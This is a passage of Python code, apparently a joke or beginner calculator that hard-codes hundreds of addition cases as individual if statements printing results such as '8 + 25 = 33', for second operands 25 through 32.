firstNum == 8 and sign == "+" and secondNum == 25 : print("8 + 25 = 33") if firstNum == 9 and sign == "+" and secondNum == 25 : print("9 + 25 = 34") if firstNum == 10 and sign == "+" and secondNum == 25 : print("10 + 25 = 35") if firstNum == 11 and sign == "+" and secondNum == 25 : print("11 + 25 = 36") if firstNum == 12 and sign == "+" and secondNum == 25 : print("12 + 25 = 37") if firstNum == 13 and sign == "+" and secondNum == 25 : print("13 + 25 = 38") if firstNum == 14 and sign == "+" and secondNum == 25 : print("14 + 25 = 39") if firstNum == 15 and sign == "+" and secondNum == 25 : print("15 + 25 = 40") if firstNum == 16 and sign == "+" and secondNum == 25 : print("16 + 25 = 41") if firstNum == 17 and sign == "+" and secondNum == 25 : print("17 + 25 = 42") if firstNum == 18 and sign == "+" and secondNum == 25 : print("18 + 25 = 43") if firstNum == 19 and sign == "+" and secondNum == 25 : print("19 + 25 = 44") if firstNum == 20 and sign == "+" and secondNum == 25 : print("20 + 25 = 45") if firstNum == 21 and sign == "+" and secondNum == 25 : print("21 + 25 = 46") if firstNum == 22 and sign == "+" and secondNum == 25 : print("22 + 25 = 47") if firstNum == 23 and sign == "+" and secondNum == 25 : print("23 + 25 = 48") if firstNum == 24 and sign == "+" and secondNum == 25 : print("24 + 25 = 49") if firstNum == 25 and sign == "+" and secondNum == 25 : print("25 + 25 = 50") if firstNum == 26 and sign == "+" and secondNum == 25 : print("26 + 25 = 51") if firstNum == 27 and sign == "+" and secondNum == 25 : print("27 + 25 = 52") if firstNum == 28 and sign == "+" and secondNum == 25 : print("28 + 25 = 53") if firstNum == 29 and sign == "+" and secondNum == 25 : print("29 + 25 = 54") if firstNum == 30 and sign == "+" and secondNum == 25 : print("30 + 25 = 55") if firstNum == 31 and sign == "+" and secondNum == 25 : print("31 + 25 = 56") if firstNum == 32 and sign == "+" and secondNum == 25 : print("32 + 25 = 57") if firstNum == 33 and sign == "+" and secondNum == 25 : print("33 + 25 = 58") if firstNum == 34 and sign == "+" and secondNum == 25 : print("34 + 25 = 59") if firstNum == 35 and sign == "+" and secondNum == 25 : print("35 + 25 = 60") if firstNum == 36 and sign == "+" and secondNum == 25 : print("36 + 25 = 61") if firstNum == 37 and sign == "+" and secondNum == 25 : print("37 + 25 = 62") if firstNum == 38 and sign == "+" and secondNum == 25 : print("38 + 25 = 63") if firstNum == 39 and sign == "+" and secondNum == 25 : print("39 + 25 = 64") if firstNum == 40 and sign == "+" and secondNum == 25 : print("40 + 25 = 65") if firstNum == 41 and sign == "+" and secondNum == 25 : print("41 + 25 = 66") if firstNum == 42 and sign == "+" and secondNum == 25 : print("42 + 25 = 67") if firstNum == 43 and sign == "+" and secondNum == 25 : print("43 + 25 = 68") if firstNum == 44 and sign == "+" and secondNum == 25 : print("44 + 25 = 69") if firstNum == 45 and sign == "+" and secondNum == 25 : print("45 + 25 = 70") if firstNum == 46 and sign == "+" and secondNum == 25 : print("46 + 25 = 71") if firstNum == 47 and sign == "+" and secondNum == 25 : print("47 + 25 = 72") if firstNum == 48 and sign == "+" and secondNum == 25 : print("48 + 25 = 73") if firstNum == 49 and sign == "+" and secondNum == 25 : print("49 + 25 = 74") if firstNum == 50 and sign == "+" and secondNum == 25 : print("50 + 25 = 75") if firstNum == 0 and sign == "+" and secondNum == 26 : print("0 + 26 = 26") if firstNum == 1 and sign == "+" and secondNum == 26 : print("1 + 26 = 27") if firstNum == 2 and sign == "+" and secondNum == 26 : print("2 + 26 = 28") if firstNum == 3 and sign == "+" and secondNum == 26 : print("3 + 26 = 29") if firstNum == 4 and sign == "+" and secondNum == 26 : print("4 + 26 = 30") if firstNum == 5 and sign == "+" and secondNum == 26 : print("5 + 26 = 31") if firstNum == 6 and sign == "+" and secondNum == 26 : print("6 + 26 = 32") if firstNum == 7 and sign == "+" and secondNum == 26 : print("7 + 26 = 33") if firstNum == 8 and sign == "+" and secondNum == 26 : print("8 + 26 = 34") if firstNum == 9 and sign == "+" and secondNum == 26 : print("9 + 26 = 35") if firstNum == 10 and sign == "+" and secondNum == 26 : print("10 + 26 = 36") if firstNum == 11 and sign == "+" and secondNum == 26 : print("11 + 26 = 37") if firstNum == 12 and sign == "+" and secondNum == 26 : print("12 + 26 = 38") if firstNum == 13 and sign == "+" and secondNum == 26 : print("13 + 26 = 39") if firstNum == 14 and sign == "+" and secondNum == 26 : print("14 + 26 = 40") if firstNum == 15 and sign == "+" and secondNum == 26 : print("15 + 26 = 41") if firstNum == 16 and sign == "+" and secondNum == 26 : print("16 + 26 = 42") if firstNum == 17 and sign == "+" and secondNum == 26 : print("17 + 26 = 43") if firstNum == 18 and sign == "+" and secondNum == 26 : print("18 + 26 = 44") if firstNum == 19 and sign == "+" and secondNum == 26 : print("19 + 26 = 45") if firstNum == 20 and sign == "+" and secondNum == 26 : print("20 + 26 = 46") if firstNum == 21 and sign == "+" and secondNum == 26 : print("21 + 26 = 47") if firstNum == 22 and sign == "+" and secondNum == 26 : print("22 + 26 = 48") if firstNum == 23 and sign == "+" and secondNum == 26 : print("23 + 26 = 49") if firstNum == 24 and sign == "+" and secondNum == 26 : print("24 + 26 = 50") if firstNum == 25 and sign == "+" and secondNum == 26 : print("25 + 26 = 51") if firstNum == 26 and sign == "+" and secondNum == 26 : print("26 + 26 = 52") if firstNum == 27 and sign == "+" and secondNum == 26 : print("27 + 26 = 53") if firstNum == 28 and sign == "+" and secondNum == 26 : print("28 + 26 = 54") if firstNum == 29 and sign == "+" and secondNum == 26 : print("29 + 26 = 55") if firstNum == 30 and sign == "+" and secondNum == 26 : print("30 + 26 = 56") if firstNum == 31 and sign == "+" and secondNum == 26 : print("31 + 26 = 57") if firstNum == 32 and sign == "+" and secondNum == 26 : print("32 + 26 = 58") if firstNum == 33 and sign == "+" and secondNum == 26 : print("33 + 26 = 59") if firstNum == 34 and sign == "+" and secondNum == 26 : print("34 + 26 = 60") if firstNum == 35 and sign == "+" and secondNum == 26 : print("35 + 26 = 61") if firstNum == 36 and sign == "+" and secondNum == 26 : print("36 + 26 = 62") if firstNum == 37 and sign == "+" and secondNum == 26 : print("37 + 26 = 63") if firstNum == 38 and sign == "+" and secondNum == 26 : print("38 + 26 = 64") if firstNum == 39 and sign == "+" and secondNum == 26 : print("39 + 26 = 65") if firstNum == 40 and sign == "+" and secondNum == 26 : print("40 + 26 = 66") if firstNum == 41 and sign == "+" and secondNum == 26 : print("41 + 26 = 67") if firstNum == 42 and sign == "+" and secondNum == 26 : print("42 + 26 = 68") if firstNum == 43 and sign == "+" and secondNum == 26 : print("43 + 26 = 69") if firstNum == 44 and sign == "+" and secondNum == 26 : print("44 + 26 = 70") if firstNum == 45 and sign == "+" and secondNum == 26 : print("45 + 26 = 71") if firstNum == 46 and sign == "+" and secondNum == 26 : print("46 + 26 = 72") if firstNum == 47 and sign == "+" and secondNum == 26 : print("47 + 26 = 73") if firstNum == 48 and sign == "+" and secondNum == 26 : print("48 + 26 = 74") if firstNum == 49 and sign == "+" and secondNum == 26 : print("49 + 26 = 75") if firstNum == 50 and sign == "+" and secondNum == 26 : print("50 + 26 = 76") if firstNum == 0 and sign == "+" and secondNum == 27 : print("0 + 27 = 27") if firstNum == 1 and sign == "+" and secondNum == 27 : print("1 + 27 = 28") if firstNum == 2 and sign == "+" and secondNum == 27 : print("2 + 27 = 29") if firstNum == 3 and sign == "+" and secondNum == 27 : print("3 + 27 = 30") if firstNum == 4 and sign == "+" and secondNum == 27 : print("4 + 27 = 31") if firstNum == 5 and sign == "+" and secondNum == 27 : print("5 + 27 = 32") if firstNum == 6 and sign == "+" and secondNum == 27 : print("6 + 27 = 33") if firstNum == 7 and sign == "+" and secondNum == 27 : print("7 + 27 = 34") if firstNum == 8 and sign == "+" and secondNum == 27 : print("8 + 27 = 35") if firstNum == 9 and sign == "+" and secondNum == 27 : print("9 + 27 = 36") if firstNum == 10 and sign == "+" and secondNum == 27 : print("10 + 27 = 37") if firstNum == 11 and sign == "+" and secondNum == 27 : print("11 + 27 = 38") if firstNum == 12 and sign == "+" and secondNum == 27 : print("12 + 27 = 39") if firstNum == 13 and sign == "+" and secondNum == 27 : print("13 + 27 = 40") if firstNum == 14 and sign == "+" and secondNum == 27 : print("14 + 27 = 41") if firstNum == 15 and sign == "+" and secondNum == 27 : print("15 + 27 = 42") if firstNum == 16 and sign == "+" and secondNum == 27 : print("16 + 27 = 43") if firstNum == 17 and sign == "+" and secondNum == 27 : print("17 + 27 = 44") if firstNum == 18 and sign == "+" and secondNum == 27 : print("18 + 27 = 45") if firstNum == 19 and sign == "+" and secondNum == 27 : print("19 + 27 = 46") if firstNum == 20 and sign == "+" and secondNum == 27 : print("20 + 27 = 47") if firstNum == 21 and sign == "+" and secondNum == 27 : print("21 + 27 = 48") if firstNum == 22 and sign == "+" and secondNum == 27 : print("22 + 27 = 49") if firstNum == 23 and sign == "+" and secondNum == 27 : print("23 + 27 = 50") if firstNum == 24 and sign == "+" and secondNum == 27 : print("24 + 27 = 51") if firstNum == 25 and sign == "+" and secondNum == 27 : print("25 + 27 = 52") if firstNum == 26 and sign == "+" and secondNum == 27 : print("26 + 27 = 53") if firstNum == 27 and sign == "+" and secondNum == 27 : print("27 + 27 = 54") if firstNum == 28 and sign == "+" and secondNum == 27 : print("28 + 27 = 55") if firstNum == 29 and sign == "+" and secondNum == 27 : print("29 + 27 = 56") if firstNum == 30 and sign == "+" and secondNum == 27 : print("30 + 27 = 57") if firstNum == 31 and sign == "+" and secondNum == 27 : print("31 + 27 = 58") if firstNum == 32 and sign == "+" and secondNum == 27 : print("32 + 27 = 59") if firstNum == 33 and sign == "+" and secondNum == 27 : print("33 + 27 = 60") if firstNum == 34 and sign == "+" and secondNum == 27 : print("34 + 27 = 61") if firstNum == 35 and sign == "+" and secondNum == 27 : print("35 + 27 = 62") if firstNum == 36 and sign == "+" and secondNum == 27 : print("36 + 27 = 63") if firstNum == 37 and sign == "+" and secondNum == 27 : print("37 + 27 = 64") if firstNum == 38 and sign == "+" and secondNum == 27 : print("38 + 27 = 65") if firstNum == 39 and sign == "+" and secondNum == 27 : print("39 + 27 = 66") if firstNum == 40 and sign == "+" and secondNum == 27 : print("40 + 27 = 67") if firstNum == 41 and sign == "+" and secondNum == 27 : print("41 + 27 = 68") if firstNum == 42 and sign == "+" and secondNum == 27 : print("42 + 27 = 69") if firstNum == 43 and sign == "+" and secondNum == 27 : print("43 + 27 = 70") if firstNum == 44 and sign == "+" and secondNum == 27 : print("44 + 27 = 71") if firstNum == 45 and sign == "+" and secondNum == 27 : print("45 + 27 = 72") if firstNum == 46 and sign == "+" and secondNum == 27 : print("46 + 27 = 73") if firstNum == 47 and sign == "+" and secondNum == 27 : print("47 + 27 = 74") if firstNum == 48 and sign == "+" and secondNum == 27 : print("48 + 27 = 75") if firstNum == 49 and sign == "+" and secondNum == 27 : print("49 + 27 = 76") if firstNum == 50 and sign == "+" and secondNum == 27 : print("50 + 27 = 77") if firstNum == 0 and sign == "+" and secondNum == 28 : print("0 + 28 = 28") if firstNum == 1 and sign == "+" and secondNum == 28 : print("1 + 28 = 29") if firstNum == 2 and sign == "+" and secondNum == 28 : print("2 + 28 = 30") if firstNum == 3 and sign == "+" and secondNum == 28 : print("3 + 28 = 31") if firstNum == 4 and sign == "+" and secondNum == 28 : print("4 + 28 = 32") if firstNum == 5 and sign == "+" and secondNum == 28 : print("5 + 28 = 33") if firstNum == 6 and sign == "+" and secondNum == 28 : print("6 + 28 = 34") if firstNum == 7 and sign == "+" and secondNum == 28 : print("7 + 28 = 35") if firstNum == 8 and sign == "+" and secondNum == 28 : print("8 + 28 = 36") if firstNum == 9 and sign == "+" and secondNum == 28 : print("9 + 28 = 37") if firstNum == 10 and sign == "+" and secondNum == 28 : print("10 + 28 = 38") if firstNum == 11 and sign == "+" and secondNum == 28 : print("11 + 28 = 39") if firstNum == 12 and sign == "+" and secondNum == 28 : print("12 + 28 = 40") if firstNum == 13 and sign == "+" and secondNum == 28 : print("13 + 28 = 41") if firstNum == 14 and sign == "+" and secondNum == 28 : print("14 + 28 = 42") if firstNum == 15 and sign == "+" and secondNum == 28 : print("15 + 28 = 43") if firstNum == 16 and sign == "+" and secondNum == 28 : print("16 + 28 = 44") if firstNum == 17 and sign == "+" and secondNum == 28 : print("17 + 28 = 45") if firstNum == 18 and sign == "+" and secondNum == 28 : print("18 + 28 = 46") if firstNum == 19 and sign == "+" and secondNum == 28 : print("19 + 28 = 47") if firstNum == 20 and sign == "+" and secondNum == 28 : print("20 + 28 = 48") if firstNum == 21 and sign == "+" and secondNum == 28 : print("21 + 28 = 49") if firstNum == 22 and sign == "+" and secondNum == 28 : print("22 + 28 = 50") if firstNum == 23 and sign == "+" and secondNum == 28 : print("23 + 28 = 51") if firstNum == 24 and sign == "+" and secondNum == 28 : print("24 + 28 = 52") if firstNum == 25 and sign == "+" and secondNum == 28 : print("25 + 28 = 53") if firstNum == 26 and sign == "+" and secondNum == 28 : print("26 + 28 = 54") if firstNum == 27 and sign == "+" and secondNum == 28 : print("27 + 28 = 55") if firstNum == 28 and sign == "+" and secondNum == 28 : print("28 + 28 = 56") if firstNum == 29 and sign == "+" and secondNum == 28 : print("29 + 28 = 57") if firstNum == 30 and sign == "+" and secondNum == 28 : print("30 + 28 = 58") if firstNum == 31 and sign == "+" and secondNum == 28 : print("31 + 28 = 59") if firstNum == 32 and sign == "+" and secondNum == 28 : print("32 + 28 = 60") if firstNum == 33 and sign == "+" and secondNum == 28 : print("33 + 28 = 61") if firstNum == 34 and sign == "+" and secondNum == 28 : print("34 + 28 = 62") if firstNum == 35 and sign == "+" and secondNum == 28 : print("35 + 28 = 63") if firstNum == 36 and sign == "+" and secondNum == 28 : print("36 + 28 = 64") if firstNum == 37 and sign == "+" and secondNum == 28 : print("37 + 28 = 65") if firstNum == 38 and sign == "+" and secondNum == 28 : print("38 + 28 = 66") if firstNum == 39 and sign == "+" and secondNum == 28 : print("39 + 28 = 67") if firstNum == 40 and sign == "+" and secondNum == 28 : print("40 + 28 = 68") if firstNum == 41 and sign == "+" and secondNum == 28 : print("41 + 28 = 69") if firstNum == 42 and sign == "+" and secondNum == 28 : print("42 + 28 = 70") if firstNum == 43 and sign == "+" and secondNum == 28 : print("43 + 28 = 71") if firstNum == 44 and sign == "+" and secondNum == 28 : print("44 + 28 = 72") if firstNum == 45 and sign == "+" and secondNum == 28 : print("45 + 28 = 73") if firstNum == 46 and sign == "+" and secondNum == 28 : print("46 + 28 = 74") if firstNum == 47 and sign == "+" and secondNum == 28 : print("47 + 28 = 75") if firstNum == 48 and sign == "+" and secondNum == 28 : print("48 + 28 = 76") if firstNum == 49 and sign == "+" and secondNum == 28 : print("49 + 28 = 77") if firstNum == 50 and sign == "+" and secondNum == 28 : print("50 + 28 = 78") if firstNum == 0 and sign == "+" and secondNum == 29 : print("0 + 29 = 29") if firstNum == 1 and sign == "+" and secondNum == 29 : print("1 + 29 = 30") if firstNum == 2 and sign == "+" and secondNum == 29 : print("2 + 29 = 31") if firstNum == 3 and sign == "+" and secondNum == 29 : print("3 + 29 = 32") if firstNum == 4 and sign == "+" and secondNum == 29 : print("4 + 29 = 33") if firstNum == 5 and sign == "+" and secondNum == 29 : print("5 + 29 = 34") if firstNum == 6 and sign == "+" and secondNum == 29 : print("6 + 29 = 35") if firstNum == 7 and sign == "+" and secondNum == 29 : print("7 + 29 = 36") if firstNum == 8 and sign == "+" and secondNum == 29 : print("8 + 29 = 37") if firstNum == 9 and sign == "+" and secondNum == 29 : print("9 + 29 = 38") if firstNum == 10 and sign == "+" and secondNum == 29 : print("10 + 29 = 39") if firstNum == 11 and sign == "+" and secondNum == 29 : print("11 + 29 = 40") if firstNum == 12 and sign == "+" and secondNum == 29 : print("12 + 29 = 41") if firstNum == 13 and sign == "+" and secondNum == 29 : print("13 + 29 = 42") if firstNum == 14 and sign == "+" and secondNum == 29 : print("14 + 29 = 43") if firstNum == 15 and sign == "+" and secondNum == 29 : print("15 + 29 = 44") if firstNum == 16 and sign == "+" and secondNum == 29 : print("16 + 29 = 45") if firstNum == 17 and sign == "+" and secondNum == 29 : print("17 + 29 = 46") if firstNum == 18 and sign == "+" and secondNum == 29 : print("18 + 29 = 47") if firstNum == 19 and sign == "+" and secondNum == 29 : print("19 + 29 = 48") if firstNum == 20 and sign == "+" and secondNum == 29 : print("20 + 29 = 49") if firstNum == 21 and sign == "+" and secondNum == 29 : print("21 + 29 = 50") if firstNum == 22 and sign == "+" and secondNum == 29 : print("22 + 29 = 51") if firstNum == 23 and sign == "+" and secondNum == 29 : print("23 + 29 = 52") if firstNum == 24 and sign == "+" and secondNum == 29 : print("24 + 29 = 53") if firstNum == 25 and sign == "+" and secondNum == 29 : print("25 + 29 = 54") if firstNum == 26 and sign == "+" and secondNum == 29 : print("26 + 29 = 55") if firstNum == 27 and sign == "+" and secondNum == 29 : print("27 + 29 = 56") if firstNum == 28 and sign == "+" and secondNum == 29 : print("28 + 29 = 57") if firstNum == 29 and sign == "+" and secondNum == 29 : print("29 + 29 = 58") if firstNum == 30 and sign == "+" and secondNum == 29 : print("30 + 29 = 59") if firstNum == 31 and sign == "+" and secondNum == 29 : print("31 + 29 = 60") if firstNum == 32 and sign == "+" and secondNum == 29 : print("32 + 29 = 61") if firstNum == 33 and sign == "+" and secondNum == 29 : print("33 + 29 = 62") if firstNum == 34 and sign == "+" and secondNum == 29 : print("34 + 29 = 63") if firstNum == 35 and sign == "+" and secondNum == 29 : print("35 + 29 = 64") if firstNum == 36 and sign == "+" and secondNum == 29 : print("36 + 29 = 65") if firstNum == 37 and sign == "+" and secondNum == 29 : print("37 + 29 = 66") if firstNum == 38 and sign == "+" and secondNum == 29 : print("38 + 29 = 67") if firstNum == 39 and sign == "+" and secondNum == 29 : print("39 + 29 = 68") if firstNum == 40 and sign == "+" and secondNum == 29 : print("40 + 29 = 69") if firstNum == 41 and sign == "+" and secondNum == 29 : print("41 + 29 = 70") if firstNum == 42 and sign == "+" and secondNum == 29 : print("42 + 29 = 71") if firstNum == 43 and sign == "+" and secondNum == 29 : print("43 + 29 = 72") if firstNum == 44 and sign == "+" and secondNum == 29 : print("44 + 29 = 73") if firstNum == 45 and sign == "+" and secondNum == 29 : print("45 + 29 = 74") if firstNum == 46 and sign == "+" and secondNum == 29 : print("46 + 29 = 75") if firstNum == 47 and sign == "+" and secondNum == 29 : print("47 + 29 = 76") if firstNum == 48 and sign == "+" and secondNum == 29 : print("48 + 29 = 77") if firstNum == 49 and sign == "+" and secondNum == 29 : print("49 + 29 = 78") if firstNum == 50 and sign == "+" and secondNum == 29 : print("50 + 29 = 79") if firstNum == 0 and sign == "+" and secondNum == 30 : print("0 + 30 = 30") if firstNum == 1 and sign == "+" and secondNum == 30 : print("1 + 30 = 31") if firstNum == 2 and sign == "+" and secondNum == 30 : print("2 + 30 = 32") if firstNum == 3 and sign == "+" and secondNum == 30 : print("3 + 30 = 33") if firstNum == 4 and sign == "+" and secondNum == 30 : print("4 + 30 = 34") if firstNum == 5 and sign == "+" and secondNum == 30 : print("5 + 30 = 35") if firstNum == 6 and sign == "+" and secondNum == 30 : print("6 + 30 = 36") if firstNum == 7 and sign == "+" and secondNum == 30 : print("7 + 30 = 37") if firstNum == 8 and sign == "+" and secondNum == 30 : print("8 + 30 = 38") if firstNum == 9 and sign == "+" and secondNum == 30 : print("9 + 30 = 39") if firstNum == 10 and sign == "+" and secondNum == 30 : print("10 + 30 = 40") if firstNum == 11 and sign == "+" and secondNum == 30 : print("11 + 30 = 41") if firstNum == 12 and sign == "+" and secondNum == 30 : print("12 + 30 = 42") if firstNum == 13 and sign == "+" and secondNum == 30 : print("13 + 30 = 43") if firstNum == 14 and sign == "+" and secondNum == 30 : print("14 + 30 = 44") if firstNum == 15 and sign == "+" and secondNum == 30 : print("15 + 30 = 45") if firstNum == 16 and sign == "+" and secondNum == 30 : print("16 + 30 = 46") if firstNum == 17 and sign == "+" and secondNum == 30 : print("17 + 30 = 47") if firstNum == 18 and sign == "+" and secondNum == 30 : print("18 + 30 = 48") if firstNum == 19 and sign == "+" and secondNum == 30 : print("19 + 30 = 49") if firstNum == 20 and sign == "+" and secondNum == 30 : print("20 + 30 = 50") if firstNum == 21 and sign == "+" and secondNum == 30 : print("21 + 30 = 51") if firstNum == 22 and sign == "+" and secondNum == 30 : print("22 + 30 = 52") if firstNum == 23 and sign == "+" and secondNum == 30 : print("23 + 30 = 53") if firstNum == 24 and sign == "+" and secondNum == 30 : print("24 + 30 = 54") if firstNum == 25 and sign == "+" and secondNum == 30 : print("25 + 30 = 55") if firstNum == 26 and sign == "+" and secondNum == 30 : print("26 + 30 = 56") if firstNum == 27 and sign == "+" and secondNum == 30 : print("27 + 30 = 57") if firstNum == 28 and sign == "+" and secondNum == 30 : print("28 + 30 = 58") if firstNum == 29 and sign == "+" and secondNum == 30 : print("29 + 30 = 59") if firstNum == 30 and sign == "+" and secondNum == 30 : print("30 + 30 = 60") if firstNum == 31 and sign == "+" and secondNum == 30 : print("31 + 30 = 61") if firstNum == 32 and sign == "+" and secondNum == 30 : print("32 + 30 = 62") if firstNum == 33 and sign == "+" and secondNum == 30 : print("33 + 30 = 63") if firstNum == 34 and sign == "+" and secondNum == 30 : print("34 + 30 = 64") if firstNum == 35 and sign == "+" and secondNum == 30 : print("35 + 30 = 65") if firstNum == 36 and sign == "+" and secondNum == 30 : print("36 + 30 = 66") if firstNum == 37 and sign == "+" and secondNum == 30 : print("37 + 30 = 67") if firstNum == 38 and sign == "+" and secondNum == 30 : print("38 + 30 = 68") if firstNum == 39 and sign == "+" and secondNum == 30 : print("39 + 30 = 69") if firstNum == 40 and sign == "+" and secondNum == 30 : print("40 + 30 = 70") if firstNum == 41 and sign == "+" and secondNum == 30 : print("41 + 30 = 71") if firstNum == 42 and sign == "+" and secondNum == 30 : print("42 + 30 = 72") if firstNum == 43 and sign == "+" and secondNum == 30 : print("43 + 30 = 73") if firstNum == 44 and sign == "+" and secondNum == 30 : print("44 + 30 = 74") if firstNum == 45 and sign == "+" and secondNum == 30 : print("45 + 30 = 75") if firstNum == 46 and sign == "+" and secondNum == 30 : print("46 + 30 = 76") if firstNum == 47 and sign == "+" and secondNum == 30 : print("47 + 30 = 77") if firstNum == 48 and sign == "+" and secondNum == 30 : print("48 + 30 = 78") if firstNum == 49 and sign == "+" and secondNum == 30 : print("49 + 30 = 79") if firstNum == 50 and sign == "+" and secondNum == 30 : print("50 + 30 = 80") if firstNum == 0 and sign == "+" and secondNum == 31 : print("0 + 31 = 31") if firstNum == 1 and sign == "+" and secondNum == 31 : print("1 + 31 = 32") if firstNum == 2 and sign == "+" and secondNum == 31 : print("2 + 31 = 33") if firstNum == 3 and sign == "+" and secondNum == 31 : print("3 + 31 = 34") if firstNum == 4 and sign == "+" and secondNum == 31 : print("4 + 31 = 35") if firstNum == 5 and sign == "+" and secondNum == 31 : print("5 + 31 = 36") if firstNum == 6 and sign == "+" and secondNum == 31 : print("6 + 31 = 37") if firstNum == 7 and sign == "+" and secondNum == 31 : print("7 + 31 = 38") if firstNum == 8 and sign == "+" and secondNum == 31 : print("8 + 31 = 39") if firstNum == 9 and sign == "+" and secondNum == 31 : print("9 + 31 = 40") if firstNum == 10 and sign == "+" and secondNum == 31 : print("10 + 31 = 41") if firstNum == 11 and sign == "+" and secondNum == 31 : print("11 + 31 = 42") if firstNum == 12 and sign == "+" and secondNum == 31 : print("12 + 31 = 43") if firstNum == 13 and sign == "+" and secondNum == 31 : print("13 + 31 = 44") if firstNum == 14 and sign == "+" and secondNum == 31 : print("14 + 31 = 45") if firstNum == 15 and sign == "+" and secondNum == 31 : print("15 + 31 = 46") if firstNum == 16 and sign == "+" and secondNum == 31 : print("16 + 31 = 47") if firstNum == 17 and sign == "+" and secondNum == 31 : print("17 + 31 = 48") if firstNum == 18 and sign == "+" and secondNum == 31 : print("18 + 31 = 49") if firstNum == 19 and sign == "+" and secondNum == 31 : print("19 + 31 = 50") if firstNum == 20 and sign == "+" and secondNum == 31 : print("20 + 31 = 51") if firstNum == 21 and sign == "+" and secondNum == 31 : print("21 + 31 = 52") if firstNum == 22 and sign == "+" and secondNum == 31 : print("22 + 31 = 53") if firstNum == 23 and sign == "+" and secondNum == 31 : print("23 + 31 = 54") if firstNum == 24 and sign == "+" and secondNum == 31 : print("24 + 31 = 55") if firstNum == 25 and sign == "+" and secondNum == 31 : print("25 + 31 = 56") if firstNum == 26 and sign == "+" and secondNum == 31 : print("26 + 31 = 57") if firstNum == 27 and sign == "+" and secondNum == 31 : print("27 + 31 = 58") if firstNum == 28 and sign == "+" and secondNum == 31 : print("28 + 31 = 59") if firstNum == 29 and sign == "+" and secondNum == 31 : print("29 + 31 = 60") if firstNum == 30 and sign == "+" and secondNum == 31 : print("30 + 31 = 61") if firstNum == 31 and sign == "+" and secondNum == 31 : print("31 + 31 = 62") if firstNum == 32 and sign == "+" and secondNum == 31 : print("32 + 31 = 63") if firstNum == 33 and sign == "+" and secondNum == 31 : print("33 + 31 = 64") if firstNum == 34 and sign == "+" and secondNum == 31 : print("34 + 31 = 65") if firstNum == 35 and sign == "+" and secondNum == 31 : print("35 + 31 = 66") if firstNum == 36 and sign == "+" and secondNum == 31 : print("36 + 31 = 67") if firstNum == 37 and sign == "+" and secondNum == 31 : print("37 + 31 = 68") if firstNum == 38 and sign == "+" and secondNum == 31 : print("38 + 31 = 69") if firstNum == 39 and sign == "+" and secondNum == 31 : print("39 + 31 = 70") if firstNum == 40 and sign == "+" and secondNum == 31 : print("40 + 31 = 71") if firstNum == 41 and sign == "+" and secondNum == 31 : print("41 + 31 = 72") if firstNum == 42 and sign == "+" and secondNum == 31 : print("42 + 31 = 73") if firstNum == 43 and sign == "+" and secondNum == 31 : print("43 + 31 = 74") if firstNum == 44 and sign == "+" and secondNum == 31 : print("44 + 31 = 75") if firstNum == 45 and sign == "+" and secondNum == 31 : print("45 + 31 = 76") if firstNum == 46 and sign == "+" and secondNum == 31 : print("46 + 31 = 77") if firstNum == 47 and sign == "+" and secondNum == 31 : print("47 + 31 = 78") if firstNum == 48 and sign == "+" and secondNum == 31 : print("48 + 31 = 79") if firstNum == 49 and sign == "+" and secondNum == 31 : print("49 + 31 = 80") if firstNum == 50 and sign == "+" and secondNum == 31 : print("50 + 31 = 81") if firstNum == 0 and sign == "+" and secondNum == 32 : print("0 + 32 = 32") if firstNum == 1 and sign == "+" and secondNum == 32 : print("1 + 32 = 33") if firstNum == 2 and sign == "+" and secondNum == 32 : print("2 + 32 = 34") if firstNum == 3 and sign == "+" and secondNum == 32 : print("3 + 32 = 35") if firstNum == 4 and sign == "+" and secondNum == 32 : print("4 + 32 = 36") if firstNum == 5 and sign == "+" and secondNum == 32 : print("5 + 32 = 37") if firstNum == 6 and sign == "+" and secondNum == 32 : print("6 + 32 = 38") if firstNum == 7 and sign == "+" and secondNum == 32 : print("7 + 32 = 39") if firstNum == 8 and sign == "+" and secondNum == 32 : print("8 + 32 = 40") if firstNum == 9 and sign == "+" and secondNum == 32 : print("9 + 32 = 41") if firstNum == 10 and sign == "+" and secondNum == 32 : print("10 + 32 = 42") if firstNum == 11 and sign == "+" and secondNum == 32 : print("11 + 32 = 43") if firstNum == 12 and sign == "+" and secondNum == 32 : print("12 + 32 = 44") if firstNum == 13 and sign == "+" and secondNum == 32 : print("13 + 32 = 45") if firstNum == 14 and sign == "+" and secondNum == 32 : print("14 + 32 = 46") if firstNum == 15 and sign == "+" and secondNum == 32 : print("15 + 32 = 47") if firstNum == 16 and sign == "+" and secondNum == 32 : print("16 + 32 = 48") if firstNum == 17 and sign == "+" and secondNum == 32 : print("17 + 32 = 49") if firstNum == 18 and sign == "+" and secondNum == 32 : print("18 + 32 = 50") if firstNum == 19 and sign == "+" and secondNum == 32 : print("19 + 32 = 51") if firstNum == 20 and sign == "+" and secondNum == 32 : print("20 + 32 = 52") if firstNum == 21 and sign == "+" and secondNum == 32 : print("21 + 32 = 53") if firstNum == 22 and sign == "+" and secondNum == 32 : print("22 + 32 = 54") if firstNum == 23 and sign == "+" and secondNum == 32 : print("23 + 32 = 55") if firstNum == 24 and sign == "+" and secondNum == 32 : print("24 + 32 = 56") if firstNum == 25 and sign == "+" and secondNum == 32 : print("25 + 32 = 57") if firstNum == 26 and sign == "+" and secondNum == 32 : print("26 + 32 = 58") if firstNum == 27 and sign == "+" and secondNum == 32 : print("27 + 32 = 59") if firstNum == 28 and sign == "+" and secondNum == 32 : print("28 + 32 = 60") if firstNum == 29 and sign == "+" and secondNum == 32 : print("29 + 32 = 61") if firstNum == 30 and sign == "+" and secondNum == 32 : print("30 + 32 = 62") if firstNum == 31 and sign == "+" and secondNum == 32 : print("31 + 32 = 63") if firstNum == 32 and sign == "+" and secondNum == 32 : print("32 + 32 = 64") if firstNum == 33 and sign == "+" and secondNum == 32 : print("33 + 32 = 65") if firstNum == 34 and sign == "+" and secondNum == 32 : print("34 + 32 = 66") if firstNum == 35 and sign == "+" and secondNum == 32 : print("35 + 32 = 67") if firstNum == 36 and sign == "+" and secondNum == 32 : print("36 + 32 = 68") if firstNum == 37 and sign == "+" and secondNum == 32 : print("37 + 32 = 69") if firstNum == 38 and sign == "+" and secondNum == 32 : print("38 + 32 = 70") if firstNum == 39 and sign == "+" and secondNum == 32 : print("39 + 32 = 71") if firstNum == 40 and sign == "+" and secondNum == 32 : print("40 + 32 = 72") if firstNum == 41 and sign == "+" and secondNum == 32 : print("41 + 32 = 73") if firstNum == 42 and sign == "+" and secondNum == 32 : print("42 + 32 = 74") if firstNum == 43 and sign == "+" and secondNum == 32 : print("43 + 32 = 75") if firstNum == 44 and sign == "+" and secondNum == 32 : print("44 + 32 = 76") if firstNum == 45 and sign == "+" and secondNum == 32 : 